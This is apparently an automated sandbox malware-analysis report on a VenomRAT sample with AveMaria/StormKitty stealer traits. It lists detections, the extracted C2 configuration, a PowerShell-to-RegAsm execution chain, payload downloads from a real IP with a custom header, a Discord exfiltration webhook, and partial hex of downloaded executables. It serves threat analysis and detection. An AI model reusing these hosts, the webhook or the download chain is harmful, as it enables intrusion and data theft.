2025-01-01T08:53:07.800289+0100	2842478	1	Malware Command and Control Activity Detected	157.20.182.177	4449	192.168.2.6	49702	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll

Avira: detection malicious, Label: HEUR/AGEN.1300034

Found malware configuration

Source: 0000000B.00000002.4575113182.0000000002B11000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: VenomRAT {"Server": "157.20.182.177", "Port": "4449", "Version": "RAT + hVNC 6.0.5", "MutexName": "zxfcrdrxsqxt", "Autorun": "false", "Group": "false"}

Yara detected AveMaria stealer

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6268, type: MEMORYSTR

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.dll

Joe Sandbox ML: detected

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb\| source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powe..ll.PSReadline.pdbY source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.pdbhP source: powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dlle.PDB source: powershell.exe, 00000004.00000002.2214407011.0000023AE6AF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb37-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ll.PSReadline.pdb source: powershell.exe, 00000004.00000002.2214407011.0000023AE6B01000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\vbemnivw\vbemnivw.pdb source: powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 157.20.182.177:4449 -> 192.168.2.6:49702

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.powershell.exe.23ade9504f2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adf03df9a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23adec1c7d8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.23aded40562.10.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.6:49702 -> 157.20.182.177:4449

Source: global traffic

TCP traffic: 192.168.2.6:61732 -> 162.159.36.2:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 Jan 2025 07:53:00 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sat, 28 Dec 2024 19:39:12 GMTETag: "8e00-62a59bbda5efb"Accept-Ranges: bytesContent-Length: 36352Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7b 38 bc c7 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 83 00 00 00 20 00 00 00 84 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 c0 00 00 00 06 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 00 00 00 02 00 00 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc a2 00 00 00 00 00 00 48 00 00 00 02 00 05 00 44 22 00 00 68 80 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 05 00 a9 00 00 00 01 00 00 11 73 0f 00 00 0a 0a 73 10 00 00 0a 0b 07 28 11 00 00 0a 03 6f 12 00 00 0a 6f 13 00 00 0a 0c 06 08 6f 14 00 00 0a 06 17 6f 15 00 00 0a 06 18 6f 16 00 00 0a 1f 10 8d 1c 00 00 01 0d 02 16 09 16 09 8e 69 28 17 00 00 0a 06 09 6f 18 00 00 0a 02 8e 69 09 8e 69 59 8d 1c 00 00 01 13 04 02 09 8e 69 11 04 16 11 04 8e 69 28 17 00 00 0a 06 6f 19 00 00 0a 13 05 11 05 11 04 16 11 04 8e 69 6f 1a 00 00 0a 13 06 de 20 11 05 2c 07 11 05 6f 1b 00 00 0a dc 07 2c 06 07 6f 1b 00 00 0a dc 06 2c 06 06 6f 1b 00 00 0a dc 11 06 2a 00 00 00 01 28 00 00 02 00 74 00 12 86 00 0c 00 00 00 00 02 00 0c 00 86 92 00 0a 00 00 00 00 02 00 06 00 96 9c 00 0a 00 00 00 00 13 30 02 00 19 00 00 00 02 00 00 11 02 28 1c 00 00 0a 03 28 01 00 00 06 0a 28 11 00 00 0a 06 6f 1d 00 00 0a 2a 1e 02 28 1e 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 1f 00 00 0a 73 20 00 00 0a 0b 07 6f 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 Jan 2025 07:53:00 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sat, 28 Dec 2024 19:34:32 GMTETag: "2fdc00-62a59ab2b1730"Accept-Ranges: bytesContent-Length: 3136512Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 be e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 70 e8 2f 00 4b 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 58 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11 f6 ba 16 d5 04 d7 8d fd 11 ad d7 35 ab 29 f6 63 b8 1d b1

Source: global traffic	HTTP traffic detected: GET /infopage/vfdjo.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/yijth.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: Joe Sandbox View

IP Address: 147.45.44.131 147.45.44.131

Source: Joe Sandbox View

ASN Name: FCNUniversityPublicCorporationOsakaJP FCNUniversityPublicCorporationOsakaJP

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic	HTTP traffic detected: GET /infopage/vfrcxq.ps1 HTTP/1.1Host: 147.45.44.131User-Agent: curl/7.83.1Accept: /X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Source: global traffic	HTTP traffic detected: GET /infopage/vfdjo.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/yijth.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: powershell.exe, 00000004.00000002.2166864949.0000023AD0422000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: cvtres.exe, 00000007.00000002.2133825790.000001FF94F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/i
Source: curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/v
Source: powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023AD0082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfdjo.exe
Source: RegAsm.exe, 0000000B.00000002.4583749639.0000000005126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfr
Source: curl.exe, 00000005.00000002.2096291449.0000020380060000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.2096159096.0000020380074000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.2096426965.00000203803B0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.2096291449.0000020380077000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000002.2135652815.000001E526948000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000002.2135918054.000001E528530000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2135481540.000001E52696C000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2135431103.000001E52696C000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000002.2135652815.000001E52696F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000002.2135888207.000001E526C70000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.2133894858.000001FF952C0000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.2133825790.000001FF94F19000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4583749639.0000000005159000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4573261911.0000000001020000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4585082100.00000000051CF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4587463326.00000000061A0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4573707806.0000000001210000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4571894245.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4585846026.00000000052B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1
Source: powershell.exe, 00000004.00000002.2166469376.0000023ACC7D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1)
Source: cvtres.exe, 00000007.00000002.2133825790.000001FF94F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1.
Source: RegAsm.exe, 0000000B.00000002.4571894245.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1.0(4
Source: powershell.exe, 00000004.00000002.2166469376.0000023ACC7E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps13
Source: RegAsm.exe, 0000000B.00000002.4585082100.00000000051CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1S
Source: powershell.exe, 00000004.00000002.2166690348.0000023ACCAA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1USERDOMAIN=ENGIN
Source: RegAsm.exe, 0000000B.00000002.4587463326.00000000061A0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4573707806.0000000001210000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4571387972.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1USERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCU
Source: RegAsm.exe, 0000000B.00000002.4571894245.0000000000D1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1c
Source: curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1o
Source: powershell.exe, 00000004.00000002.2212985707.0000023AE6710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1p
Source: curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1q
Source: curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1rlrcY
Source: curl.exe, 00000005.00000002.2096291449.0000020380069000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1sn
Source: cvtres.exe, 00000007.00000002.2133894858.000001FF952C0000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.2133825790.000001FF94F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/vfrcxq.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCu
Source: powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2214254088.0000023AE6850000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000006.00000002.2135872843.000001E5269E7000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2134143521.000001E5269D4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2134245024.000001E5269D4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2134126088.000001E5269E4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000006.00000003.2135173625.000001E526BAB000.00000004.00001000.00020000.00000000.sdmp, vbemnivw.dll.6.dr, vbemnivw.0.cs.4.dr	String found in binary or memory: http://147.45.44.131/infopage/yijth.exe
Source: powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023AD04E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.H
Source: powershell.exe, 00000004.00000002.2214333612.0000023AE68D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsofta
Source: RegAsm.exe, 0000000B.00000002.4585082100.00000000051B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F80085060.11.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: RegAsm.exe, 0000000B.00000002.4585082100.00000000051CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab(
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.2166864949.0000023ACE601000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4575113182.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.2213847413.0000023AE67E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wicroft.coma
Source: powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.newtonsoft.com/jsonschema
Source: powershell.exe, 00000004.00000002.2166864949.0000023ACE601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE68D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2200033364.0000023ADE8FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5
Source: RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v6/users/
Source: powershell.exe, 00000004.00000002.2166864949.0000023ACEB26000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023AD0505000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2200033364.0000023ADEC1C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2166864949.0000023AD04EF000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4567236759.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://github.com/LimerBoy/StormKitty
Source: powershell.exe, 00000004.00000002.2166864949.0000023ACE8BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
